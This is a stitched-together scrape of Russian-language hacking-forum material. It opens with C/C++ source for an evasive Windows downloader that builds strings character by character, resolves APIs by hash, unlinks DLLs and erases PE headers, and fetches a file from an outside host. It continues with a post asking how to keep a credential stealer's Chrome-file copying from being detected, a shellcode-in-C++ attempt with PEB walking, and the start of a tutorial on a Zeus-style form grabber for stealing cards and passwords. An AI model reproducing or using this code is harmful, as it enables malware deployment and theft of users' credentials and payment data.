MethodBuffer[Table->dwGeneralUsage1++] = 'E';
MethodBuffer[Table->dwGeneralUsage1++] = 'T';
MethodBuffer[Table->dwGeneralUsage1++] = '\0';
Table->dwGeneralUsage1 = 0;
UrlBuffer[Table->dwGeneralUsage1++] = 'h'; UrlBuffer[Table->dwGeneralUsage1++] = 't';
UrlBuffer[Table->dwGeneralUsage1++] = 't'; UrlBuffer[Table->dwGeneralUsage1++] = 'p';
UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = ':';
UrlBuffer[Table->dwGeneralUsage1++] = '/'; UrlBuffer[Table->dwGeneralUsage1++] = '/';
UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = 'a';
UrlBuffer[Table->dwGeneralUsage1++] = 'm'; UrlBuffer[Table->dwGeneralUsage1++] = 'p';
UrlBuffer[Table->dwGeneralUsage1++] = 'l'; UrlBuffer[Table->dwGeneralUsage1++] = 'e';
UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = '.';
UrlBuffer[Table->dwGeneralUsage1++] = 'v'; UrlBuffer[Table->dwGeneralUsage1++] = 'x';
UrlBuffer[Table->dwGeneralUsage1++] = '-'; UrlBuffer[Table->dwGeneralUsage1++] = 'u';
UrlBuffer[Table->dwGeneralUsage1++] = 'n'; UrlBuffer[Table->dwGeneralUsage1++] = 'd';
UrlBuffer[Table->dwGeneralUsage1++] = 'e'; UrlBuffer[Table->dwGeneralUsage1++] = 'r';
UrlBuffer[Table->dwGeneralUsage1++] = 'g'; UrlBuffer[Table->dwGeneralUsage1++] = 'r';
UrlBuffer[Table->dwGeneralUsage1++] = 'o'; UrlBuffer[Table->dwGeneralUsage1++] = 'u';
UrlBuffer[Table->dwGeneralUsage1++] = 'n'; UrlBuffer[Table->dwGeneralUsage1++] = 'd';
UrlBuffer[Table->dwGeneralUsage1++] = '.'; UrlBuffer[Table->dwGeneralUsage1++] = 'o';
UrlBuffer[Table->dwGeneralUsage1++] = 'r'; UrlBuffer[Table->dwGeneralUsage1++] = 'g';
UrlBuffer[Table->dwGeneralUsage1++] = '/'; UrlBuffer[Table->dwGeneralUsage1++] = 'r';
UrlBuffer[Table->dwGeneralUsage1++] = 'o'; UrlBuffer[Table->dwGeneralUsage1++] = 'o';
UrlBuffer[Table->dwGeneralUsage1++] = 't'; UrlBuffer[Table->dwGeneralUsage1++] = '/';
UrlBuffer[Table->dwGeneralUsage1++] = 'S'; UrlBuffer[Table->dwGeneralUsage1++] = 'a';
UrlBuffer[Table->dwGeneralUsage1++] = 'm'; UrlBuffer[Table->dwGeneralUsage1++] = 'p';
UrlBuffer[Table->dwGeneralUsage1++] = 'l'; UrlBuffer[Table->dwGeneralUsage1++] = 'e';
UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = '/';
UrlBuffer[Table->dwGeneralUsage1++] = 'c'; UrlBuffer[Table->dwGeneralUsage1++] = 'm';
UrlBuffer[Table->dwGeneralUsage1++] = 'd'; UrlBuffer[Table->dwGeneralUsage1++] = '.';
UrlBuffer[Table->dwGeneralUsage1++] = 'e'; UrlBuffer[Table->dwGeneralUsage1++] = 'x';
UrlBuffer[Table->dwGeneralUsage1++] = 'e'; UrlBuffer[Table->dwGeneralUsage1++] = '\0';
Method = MethodBuffer;
Url = UrlBuffer;
Table->ComHelper.ComResult = Table->ComHelper.ComVariables.HttpRequest->Open(Method, Url, AsyncFlag);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->ComHelper.ComResult = Table->ComHelper.ComVariables.HttpRequest->Send(Body);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->ComHelper.ComResult = Table->ComHelper.ComVariables.HttpRequest->get_ResponseText(&Table->ComHelper.ComVariables.ResponseData);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->dwGeneralUsage1 = 0;
Table->dwGeneralUsage1 = (CONTAINING_RECORD((PVOID)Table->ComHelper.ComVariables.ResponseData, BSTR_T, u.String)->dwSize / sizeof(WCHAR));
Table->dwReturn = Table->dwGeneralUsage1;
Table->Status = Table->NtFunctions.NtAllocateVirtualMemory(((HANDLE)-1), &DataBuffer, 0, (PSIZE_T)&Table->dwGeneralUsage1, MEM_COMMIT, PAGE_READWRITE);
if (!NT_SUCCESS(Table->Status))
RecursiveExecutor(ExitApplication, Table);
for (DWORD dwX = 0; dwX < Table->dwGeneralUsage1; dwX++)
DataBuffer[dwX] = (BYTE)Table->ComHelper.ComVariables.ResponseData[dwX];
Table->Status = Table->NtFunctions.NtWriteFile(Table->hHandle, NULL, NULL, NULL, &Io, DataBuffer, Table->dwGeneralUsage1, NULL, NULL);
if (Table->ComHelper.ComVariables.ResponseData)
Table->ComHelper.ComFunction.SysFreeString(Table->ComHelper.ComVariables.ResponseData);
if (Table->ComHelper.ComVariables.HttpRequest)
Table->ComHelper.ComVariables.HttpRequest->Release();
if (Table->ComHelper.IsComInitialized)
{
Table->ComHelper.ComFunction.CoUninitialize();
Table->ComHelper.IsComInitialized = FALSE;
}
if (DataBuffer)
Table->NtFunctions.NtFreeVirtualMemory(((HANDLE)-1), DataBuffer, 0, MEM_RELEASE);
if (Table->hHandle)
Table->NtFunctions.NtClose(Table->hHandle);
RecursiveExecutor(RemoveComData, Table);
if (!NT_SUCCESS(Table->Status))
RecursiveExecutor(ExitApplication, Table);
break;
}
case LoadComLibraries:
{
WCHAR CombaseBuffer[20];
UNICODE_STRING CombaseString;
Table->LoaderHelper.hMod = NULL;
Table->ZeroFill.Destination = &CombaseBuffer;
Table->ZeroFill.Size = sizeof(CombaseBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &CombaseString;
Table->ZeroFill.Size = sizeof(UNICODE_STRING);
RecursiveExecutor(ZeroFillData, Table);
Table->dwGeneralUsage1 = 0;
CombaseBuffer[Table->dwGeneralUsage1++] = 'C';
CombaseBuffer[Table->dwGeneralUsage1++] = 'o';
CombaseBuffer[Table->dwGeneralUsage1++] = 'm';
CombaseBuffer[Table->dwGeneralUsage1++] = 'b';
CombaseBuffer[Table->dwGeneralUsage1++] = 'a';
CombaseBuffer[Table->dwGeneralUsage1++] = 's';
CombaseBuffer[Table->dwGeneralUsage1++] = 'e';
CombaseBuffer[Table->dwGeneralUsage1++] = '.';
CombaseBuffer[Table->dwGeneralUsage1++] = 'd';
CombaseBuffer[Table->dwGeneralUsage1++] = 'l';
CombaseBuffer[Table->dwGeneralUsage1++] = 'l';
CombaseString.Buffer = CombaseBuffer;
CombaseString.Length = (USHORT)Table->dwGeneralUsage1 * sizeof(WCHAR);
CombaseString.MaximumLength = CombaseString.Length + sizeof(WCHAR);
Table->Status = Table->NtFunctions.LdrLoadDll(NULL, 0, &CombaseString, &Table->LoaderHelper.hMod);
if (!NT_SUCCESS(Table->Status))
RecursiveExecutor(ExitApplication, Table);
RecursiveExecutor(PopulateComFunctionPointers, Table);
if(!Table->ComHelper.ComFunction.CoCreateInstance || !Table->ComHelper.ComFunction.CoInitializeEx || !Table->ComHelper.ComFunction.CoUninitialize)
RecursiveExecutor(ExitApplication, Table);
RecursiveExecutor(GetSysFreeString, Table);
RecursiveExecutor(NullPeHeaders, Table);
break;
}
case GetSysFreeString:
{
WCHAR OleAut32Buffer[13];
UNICODE_STRING OleAut32String;
Table->LoaderHelper.hMod = NULL;
Table->ZeroFill.Destination = &OleAut32Buffer;
Table->ZeroFill.Size = sizeof(OleAut32Buffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &OleAut32String;
Table->ZeroFill.Size = sizeof(UNICODE_STRING);
RecursiveExecutor(ZeroFillData, Table);
Table->dwGeneralUsage1 = 0;
OleAut32Buffer[Table->dwGeneralUsage1++] = 'O';
OleAut32Buffer[Table->dwGeneralUsage1++] = 'l';
OleAut32Buffer[Table->dwGeneralUsage1++] = 'e';
OleAut32Buffer[Table->dwGeneralUsage1++] = 'A';
OleAut32Buffer[Table->dwGeneralUsage1++] = 'u';
OleAut32Buffer[Table->dwGeneralUsage1++] = 't';
OleAut32Buffer[Table->dwGeneralUsage1++] = '3';
OleAut32Buffer[Table->dwGeneralUsage1++] = '2';
OleAut32Buffer[Table->dwGeneralUsage1++] = '.';
OleAut32Buffer[Table->dwGeneralUsage1++] = 'd';
OleAut32Buffer[Table->dwGeneralUsage1++] = 'l';
OleAut32Buffer[Table->dwGeneralUsage1++] = 'l';
Table->dwGeneralUsage1 *= sizeof(WCHAR);
OleAut32String.Buffer = OleAut32Buffer;
OleAut32String.Length = (USHORT)Table->dwGeneralUsage1;
OleAut32String.MaximumLength = OleAut32String.Length + sizeof(WCHAR);
Table->Status = Table->NtFunctions.LdrLoadDll(NULL, 0, &OleAut32String, &Table->LoaderHelper.hMod);
if (!NT_SUCCESS(Table->Status))
RecursiveExecutor(ExitApplication, Table);
Table->dwGeneralUsage1 = 0x14c944f5;
Table->ComHelper.ComFunction.SysFreeString = (SYSFREESTRING)RecursiveExecutor(GetProcAddressByHash, Table);
if (!Table->ComHelper.ComFunction.SysFreeString)
RecursiveExecutor(ExitApplication, Table);
break;
}
case UnloadDll:
{
PLDR_MODULE Module = NULL;
PLIST_ENTRY Head = &Table->Peb->LoaderData->InMemoryOrderModuleList;
PLIST_ENTRY Next = Head->Flink;
Module = (PLDR_MODULE)((PBYTE)Next - 16);
while (Next != Head)
{
Module = (PLDR_MODULE)((PBYTE)Next - 16);
if (Module->BaseDllName.Buffer != NULL)
{
Table->GeneralData.WideStringPointer1 = Module->BaseDllName.Buffer;
RecursiveExecutor(HashStringFowlerNollVoVariant1aW, Table);
if (Table->dwReturn == Table->dwGeneralUsage1)
{
Table->Entry = &Module->InLoadOrderModuleList;
RecursiveExecutor(RemoveListEntry, Table);
Table->Entry = &Module->InInitializationOrderModuleList;
RecursiveExecutor(RemoveListEntry, Table);
Table->Entry = &Module->InMemoryOrderModuleList;
RecursiveExecutor(RemoveListEntry, Table);
Table->Entry = &Module->HashTableEntry;
RecursiveExecutor(RemoveListEntry, Table);
break;
}
}
Next = Next->Flink;
}
break;
}
case RemoveListEntry:
{
PLIST_ENTRY OldFlink, OldBlink;
OldFlink = Table->Entry->Flink;
OldBlink = Table->Entry->Blink;
OldFlink->Blink = OldBlink;
OldBlink->Flink = OldFlink;
Table->Entry->Flink = NULL;
Table->Entry->Blink = NULL;
break;
}
case RemoveComData:
{
Table->dwGeneralUsage1 = 0x52d488c9;
RecursiveExecutor(UnloadDll, Table);
Table->dwGeneralUsage1 = 0xb8c65c5e;
RecursiveExecutor(UnloadDll, Table);
Table->ComHelper.ComFunction.CoCreateInstance = NULL;
Table->ComHelper.ComFunction.CoInitializeEx = NULL;
Table->ComHelper.ComFunction.CoUninitialize = NULL;
Table->ComHelper.ComFunction.SysFreeString = NULL;
Table->ComHelper.ComFunction.CoInitializeSecurity = NULL;
break;
}
case CheckRemoteHost:
{
WCHAR RootBuffer[12]; BSTR Root;
WCHAR WqlBuffer[5]; BSTR Wql;
WCHAR QueryBuffer[62]; BSTR Query;
WCHAR GetPropertyBuffer[12]; BSTR GetProperty;
VARIANT PingStatus; ((&PingStatus)->vt) = VT_EMPTY;
Table->ZeroFill.Destination = &RootBuffer;
Table->ZeroFill.Size = sizeof(RootBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &WqlBuffer;
Table->ZeroFill.Size = sizeof(WqlBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &QueryBuffer;
Table->ZeroFill.Size = sizeof(QueryBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &GetPropertyBuffer;
Table->ZeroFill.Size = sizeof(GetPropertyBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoCreateInstance(CLSID_WbemAdministrativeLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (PVOID*)&Table->ComHelper.ComVariables.Locator);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->dwGeneralUsage1 = 0;
RootBuffer[Table->dwGeneralUsage1++] = 'r';
RootBuffer[Table->dwGeneralUsage1++] = 'o';
RootBuffer[Table->dwGeneralUsage1++] = 'o';
RootBuffer[Table->dwGeneralUsage1++] = 't';
RootBuffer[Table->dwGeneralUsage1++] = '\\';
RootBuffer[Table->dwGeneralUsage1++] = 'c';
RootBuffer[Table->dwGeneralUsage1++] = 'i';
RootBuffer[Table->dwGeneralUsage1++] = 'm';
RootBuffer[Table->dwGeneralUsage1++] = 'v';
RootBuffer[Table->dwGeneralUsage1++] = '2';
RootBuffer[Table->dwGeneralUsage1++] = '\0';
Root = RootBuffer;
Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Locator->ConnectServer(Root, NULL, NULL, NULL, WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &Table->ComHelper.ComVariables.Services);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->dwGeneralUsage1 = 0;
WqlBuffer[Table->dwGeneralUsage1++] = 'W';
WqlBuffer[Table->dwGeneralUsage1++] = 'Q';
WqlBuffer[Table->dwGeneralUsage1++] = 'L';
WqlBuffer[Table->dwGeneralUsage1++] = '\0';
Wql = WqlBuffer;
Table->dwGeneralUsage1 = 0;
QueryBuffer[Table->dwGeneralUsage1++] = 'S'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
QueryBuffer[Table->dwGeneralUsage1++] = 'L'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
QueryBuffer[Table->dwGeneralUsage1++] = 'C'; QueryBuffer[Table->dwGeneralUsage1++] = 'T';
QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = '*';
QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = 'F';
QueryBuffer[Table->dwGeneralUsage1++] = 'R'; QueryBuffer[Table->dwGeneralUsage1++] = 'O';
QueryBuffer[Table->dwGeneralUsage1++] = 'M'; QueryBuffer[Table->dwGeneralUsage1++] = ' ';
QueryBuffer[Table->dwGeneralUsage1++] = 'W'; QueryBuffer[Table->dwGeneralUsage1++] = 'i';
QueryBuffer[Table->dwGeneralUsage1++] = 'n'; QueryBuffer[Table->dwGeneralUsage1++] = '3';
QueryBuffer[Table->dwGeneralUsage1++] = '2'; QueryBuffer[Table->dwGeneralUsage1++] = '_';
QueryBuffer[Table->dwGeneralUsage1++] = 'P'; QueryBuffer[Table->dwGeneralUsage1++] = 'i';
QueryBuffer[Table->dwGeneralUsage1++] = 'n'; QueryBuffer[Table->dwGeneralUsage1++] = 'g';
QueryBuffer[Table->dwGeneralUsage1++] = 'S'; QueryBuffer[Table->dwGeneralUsage1++] = 't';
QueryBuffer[Table->dwGeneralUsage1++] = 'a'; QueryBuffer[Table->dwGeneralUsage1++] = 't';
QueryBuffer[Table->dwGeneralUsage1++] = 'u'; QueryBuffer[Table->dwGeneralUsage1++] = 's';
QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = 'W';
QueryBuffer[Table->dwGeneralUsage1++] = 'H'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
QueryBuffer[Table->dwGeneralUsage1++] = 'R'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = 'A';
QueryBuffer[Table->dwGeneralUsage1++] = 'd'; QueryBuffer[Table->dwGeneralUsage1++] = 'd';
QueryBuffer[Table->dwGeneralUsage1++] = 'r'; QueryBuffer[Table->dwGeneralUsage1++] = 'e';
QueryBuffer[Table->dwGeneralUsage1++] = 's'; QueryBuffer[Table->dwGeneralUsage1++] = 's';
QueryBuffer[Table->dwGeneralUsage1++] = '='; QueryBuffer[Table->dwGeneralUsage1++] = '"';
QueryBuffer[Table->dwGeneralUsage1++] = '1'; QueryBuffer[Table->dwGeneralUsage1++] = '7';
QueryBuffer[Table->dwGeneralUsage1++] = '2'; QueryBuffer[Table->dwGeneralUsage1++] = '.';
QueryBuffer[Table->dwGeneralUsage1++] = '6'; QueryBuffer[Table->dwGeneralUsage1++] = '7';
QueryBuffer[Table->dwGeneralUsage1++] = '.'; QueryBuffer[Table->dwGeneralUsage1++] = '1';
QueryBuffer[Table->dwGeneralUsage1++] = '3'; QueryBuffer[Table->dwGeneralUsage1++] = '6';
QueryBuffer[Table->dwGeneralUsage1++] = '.'; QueryBuffer[Table->dwGeneralUsage1++] = '1';
QueryBuffer[Table->dwGeneralUsage1++] = '3'; QueryBuffer[Table->dwGeneralUsage1++] = '6';
QueryBuffer[Table->dwGeneralUsage1++] = '"'; QueryBuffer[Table->dwGeneralUsage1++] = '\0';
Query = QueryBuffer;
Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Services->ExecQuery(Wql, Query, WBEM_FLAG_FORWARD_ONLY, NULL, &Table->ComHelper.ComVariables.Enum);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->dwGeneralUsage1 = 0;
Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Enum->Next(WBEM_INFINITE, 1L, &Table->ComHelper.ComVariables.Ping, &Table->dwGeneralUsage1);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
if (Table->dwGeneralUsage1 == 0)
RecursiveExecutor(ExitApplication, Table);
Table->dwGeneralUsage1 = 0;
GetPropertyBuffer[Table->dwGeneralUsage1++] = 'S';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 't';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 'a';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 't';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 'u';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 's';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 'C';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 'o';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 'd';
GetPropertyBuffer[Table->dwGeneralUsage1++] = 'e';
GetPropertyBuffer[Table->dwGeneralUsage1++] = '\0';
GetProperty = GetPropertyBuffer;
Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Ping->Get(GetProperty, 0, &PingStatus, NULL, NULL);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
if (PingStatus.iVal != ERROR_SUCCESS)
RecursiveExecutor(ExitApplication, Table);
if (Table->ComHelper.ComVariables.Locator)
Table->ComHelper.ComVariables.Locator->Release();
if (Table->ComHelper.ComVariables.Enum)
Table->ComHelper.ComVariables.Enum->Release();
if (Table->ComHelper.ComVariables.Ping)
Table->ComHelper.ComVariables.Ping->Release();
if (Table->ComHelper.ComVariables.Services)
Table->ComHelper.ComVariables.Services->Release();
Table->ComHelper.ComResult = S_OK;
break;
}
case SafelyExitCom:
{
if (Table->ComHelper.IsComInitialized)
RecursiveExecutor(ExitApplication, Table);
if (Table->ComHelper.ComVariables.Locator)
Table->ComHelper.ComVariables.Locator->Release();
if (Table->ComHelper.ComVariables.Enum)
Table->ComHelper.ComVariables.Enum->Release();
if (Table->ComHelper.ComVariables.Ping)
Table->ComHelper.ComVariables.Ping->Release();
if (Table->ComHelper.ComVariables.Services)
Table->ComHelper.ComVariables.Services->Release();
if (Table->ComHelper.ComVariables.NetworkManager)
Table->ComHelper.ComVariables.NetworkManager->Release();
if (Table->ComHelper.ComVariables.HttpRequest)
Table->ComHelper.ComVariables.HttpRequest->Release();
if(Table->ComHelper.ComVariables.ResponseData)
Table->ComHelper.ComFunction.SysFreeString(Table->ComHelper.ComVariables.ResponseData);
RecursiveExecutor(RemoveComData, Table);
break;
}
case CheckLocalMachinesInternetStatus:
{
VARIANT_BOOL Connected = VARIANT_FALSE;
Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoCreateInstance(CLSID_NetworkListManager, NULL, CLSCTX_ALL, __uuidof(INetworkListManager), (LPVOID*)&Table->ComHelper.ComVariables.NetworkManager);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->ComHelper.ComVariables.NetworkManager->get_IsConnectedToInternet(&Connected);
if (Connected == VARIANT_FALSE)
RecursiveExecutor(ExitApplication, Table);
Table->ComHelper.ComResult = S_OK;
if (Table->ComHelper.ComVariables.NetworkManager)
Table->ComHelper.ComVariables.NetworkManager->Release();
break;
}
case ZeroFillData:
{
PCHAR q = (PCHAR)Table->ZeroFill.Destination;
PCHAR End = q + Table->ZeroFill.Size;
for (;;) {
if (q >= End) break; *q++ = 0;
if (q >= End) break; *q++ = 0;
if (q >= End) break; *q++ = 0;
if (q >= End) break; *q++ = 0;
}
break;
}
case Win32FromHResult:
{
if ((Table->ComHelper.ComResult & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
Table->dwError = HRESULT_CODE(Table->ComHelper.ComResult);
break;
}
default:
break;
}
return (LPVOID)Table->dwError;
}
#pragma warning(push)
#pragma warning(disable: 6262)
INT ApplicationEntryPoint(VOID)
{
VARIABLE_TABLE Table;
Table.dwError = 0; Table.Status = 0;
return (INT)(DWORD64)RecursiveExecutor(EntryPoint, &Table);
}
#pragma warning(pop)
Такая проблема: стиллер копирует файлы хрома для будущей дешифрации и в этот момент получаю детект, перепробовал ВСЕ и копирование через вызов нового процесса, и через OLE или через FS и Винапи, ПОДСКАЖИТЕ КУДА КОПАТЬ?
Всем привет!
Штудирую интернет на предмет исходников и теоретических материалов по вопросу написания простого клиента HTTPS на плюсах. Вопрос оказался сложный и интересный. Информация разрозненная и многоплатформенная.
Для ускорения процесса основенния теоритичекой части решил поинтересоваться, может у кого есть инфа где где более-менее подробно изложено как вся эта технология работает под капотом (книжки, статьи) в приложении на Винде?
Интернеты (стоковерфлоу и подобные форумы) рекомендуют юзать библиотеки типа асио и либкурл. Исходники конечно под такое есть. Только билдятся они нормально под линукс. Так как на винде нужен спец.бубен чтобы установить библиотеку openssl (в виде какого то хитрого интерпритатора perl`a).
Кто как кодирует трафик при передаче данных?
На сейчас стало понятно что всё сводится к отправке зашифрованного пакета обычными стедствами (сокет или GET запрос). Осталось самая малость, понять как шифровать пакет
Буду публиковать сюда свой код на c++ пока учусь писать. Раньше писал на асме,
но сейчас понимаю что это такое себе, хочу перейти на c++. Переодически буду
публиковать тут код на c++. Прошу тех кто шарит в плюсах помочь мне.
Сейчас пытаюсь понять как правильно писать шеллкоды на c++.
Вот моя первая попытка оформить всё в виде шеллкода
C++:Copy to clipboard
#include <windows.h>
#include <memory>
#include "NT_STRUCTS.h"
#include <stdalign.h>
// constants
#define PAGE_MINIMAL_SIZE 0x1000
#define HEAP_INITIAL_SIZE PAGE_MINIMAL_SIZE*2
#define MAX_HEAP_SIZE PAGE_MINIMAL_SIZE*64
using namespace std;
#define alloc(Type, PtrName) \
std::unique_ptr<Type> PtrName = std::make_unique<Type>(sizeof(Type));
typedef HANDLE(*_HeapCreate)(DWORD flOptions, size_t dwInitialSize, size_t dwMaximumSize);
typedef void* (*_HeapAlloc)(HANDLE hHeap, DWORD dwFlags, size_t dwBytes);
typedef int (*_HeapFree)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
typedef int (*_MessageBoxA)(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);
typedef HMODULE (*_LoadLibraryW)(LPCWSTR lpLibFileName);
void* memset(void* s, int c, size_t sz)
{
byte* p = (byte*)s;
while (sz--) {
*p++ = (byte)c;
}
return s;
}
void* memcpy(void* dst, void* src, size_t sz)
{
byte* dstbuf = (byte*)dst;
byte* srcbuf = (byte*)src;
while (sz--) {
dstbuf[sz] = srcbuf[sz];
}
return 0;
}
_TIMAGE_FILE_HEADER* GetPEHeader(HMODULE module)
{
_IMAGE_DOS_HEADER* IMAGE_DOS_HEADER = (_IMAGE_DOS_HEADER*)module;
DWORD e_lfanew = IMAGE_DOS_HEADER->e_lfanew;
return (_TIMAGE_FILE_HEADER*)((UINT64)IMAGE_DOS_HEADER + (UINT64)e_lfanew);
};
_TIMAGE_OPTIONAL_HEADER* GetOptionalHeader(HMODULE module)
{
return (_TIMAGE_OPTIONAL_HEADER*)((UINT64)GetPEHeader(module) + (UINT64)sizeof(_TIMAGE_FILE_HEADER));
};
struct _IMPORT
{
_HeapCreate HeapCreate;
_HeapAlloc HeapAlloc;
_HeapFree HeapFree;
_MessageBoxA MessageBoxA;
};
struct _GLOBAL_DATA
{
HANDLE hHeap;
_IMPORT import;
};
HMODULE GetKernel32()
{
HMODULE module;
__asm
{
xor rax, rax
mov rax, gs: [rax + 0x60]
mov rax, [rax + 0x18]
mov rax, [rax + 0x20]
mov rax, [rax]
mov rax, [rax]
mov rax, [rax + 0x20]
mov[module], rax
}
return module;
}
HMODULE GetNtdll()
{
HMODULE module;
__asm
{
xor rax, rax
mov rax, gs: [rax + 0x60]
mov rax, [rax + 0x18]
mov rax, [rax + 0x20]
mov rax, [rax]
mov rax, [rax + 0x20]
mov[module], rax
}
return module;
}
bool strcmpb(LPCSTR str1, LPCSTR str2)
{
int i = 0;
while (true)
{
if (str1[i] == str2[i])
{
if (str2[i] == 0)
{
return true;
}
i++;
}
else
{
return false;
}
}
}
FARPROC EGetProcAddress(HMODULE module, LPCSTR procname)
{
UINT64 ProcAddress = 0;
_IMAGE_DOS_HEADER* IMAGE_DOS_HEADER = (_IMAGE_DOS_HEADER*)module;
DWORD e_lfanew = IMAGE_DOS_HEADER->e_lfanew;
_TIMAGE_FILE_HEADER* IMAGE_FILE_HEADER = (_TIMAGE_FILE_HEADER*)((UINT64)IMAGE_DOS_HEADER + (UINT64)e_lfanew);
_TIMAGE_OPTIONAL_HEADER* IMAGE_OPTIONAL_HEADER = (_TIMAGE_OPTIONAL_HEADER*)((UINT64)IMAGE_FILE_HEADER + (UINT64)sizeof(_TIMAGE_FILE_HEADER));
// broken _IMAGE_OPTIONAL_HEADER redefine this shit
_IMAGE_EXPORT_DIRECTORY* IMAGE_EXPORT_DIRECTORY = (_IMAGE_EXPORT_DIRECTORY*)((UINT64)IMAGE_OPTIONAL_HEADER->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (UINT64)module);
DWORD* AddressOfNames = (DWORD*)((UINT64)IMAGE_EXPORT_DIRECTORY->AddressOfNames + (UINT64)module);
for (UINT32 i = 0; i <= IMAGE_EXPORT_DIRECTORY->NumberOfNames; i++)
{
LPCSTR Name = (LPCSTR)((UINT64)AddressOfNames[i] + (UINT64)module);
if (strcmpb((char*)procname, (char*)Name))
{
UINT16* Ordinals = (UINT16*)((UINT64)IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals + (UINT64)module);
UINT32* AddressOfFunctions = (UINT32*)((UINT64)IMAGE_EXPORT_DIRECTORY->AddressOfFunctions + (UINT64)module);
ProcAddress = AddressOfFunctions[Ordinals[i]] + (UINT64)module;
}
}
return (FARPROC)ProcAddress;
}
void StartUp(_GLOBAL_DATA* maintable)
{
HMODULE kernel32 = GetKernel32();
HMODULE ntdll = GetNtdll();
maintable->import.HeapCreate = (_HeapCreate)EGetProcAddress(kernel32, "HeapCreate");
maintable->hHeap = maintable->import.HeapCreate(0, HEAP_INITIAL_SIZE, 0);
maintable->import.HeapAlloc = (_HeapAlloc)EGetProcAddress(ntdll, "RtlAllocateHeap");
maintable->import.HeapFree = (_HeapFree)EGetProcAddress(kernel32, "HeapFree");
_LoadLibraryW LoadLibraryW = (_LoadLibraryW)EGetProcAddress(kernel32, "LoadLibraryW");
HMODULE user32 = LoadLibraryW(L"user32.dll");
maintable->import.MessageBoxA = (_MessageBoxA)EGetProcAddress(user32, "MessageBoxA");
}
class MyClass
{
public:
int someval;
LPCSTR* teststr;
};
void* operator new(size_t size, _GLOBAL_DATA* maintable)
{
if (size)
{
return maintable->import.HeapAlloc(maintable->hHeap, 0, size);
}
return 0;
}
void operator delete(void* p, _GLOBAL_DATA* maintable)
{
if (p)
{
return (void)maintable->import.HeapFree(maintable->hHeap, 0, p);
}
return (void)0;
}
int main()
{
_GLOBAL_DATA maintable;
StartUp(&maintable);
MyClass* obj = new(&maintable) MyClass;
obj->someval = 100;
obj->teststr = new(&maintable) LPCSTR("hello");
maintable.import.MessageBoxA(0, *obj->teststr, *obj->teststr, 0);
return 0;
}
Проблемы которые я вижу:
1. Строки хранятся в секции данных
2. Нельзя использовать unique_ptr, т.к. нельзя вызвать delete с аргументом, а
раз нельзя вызвать с аргументом нужно создавать глобальную переменную которая
будет хранить hHeap и HeapFree, то есть как минимум должна быть структурка
которая хранит функции для особождения/выделения памяти и она должна быть
глобальной - то есть не на стэке.
Насколько я знаю строки можно как-то перенести на стэк, да и вообще в будущем
всё буду вызывать по хэшам, меня больше интересует второй вопрос - как
организовать нормальное выделение памяти в шеллкоде, можно конечно сделать
структуру на стэке, написать функции alloc/unalloc но вызывать их вручную как
по мне такое себе, так что надо делать через unique_ptr
Write a form grabber in c++ in 5 minutes, zeus botnet style for form-grabbing Visa cards, master cards, passwords and emails, and everything the user enters as input in Browser.
Before we dig deeper, What the Hack is a Form grabber, when to use it, and why to use it why not just use a stealer?
#What the Hack is a Form grabber
A form grabber is a technique used by malware developers to steal data such as
credit cards and logins data and send them directly to a server and store them
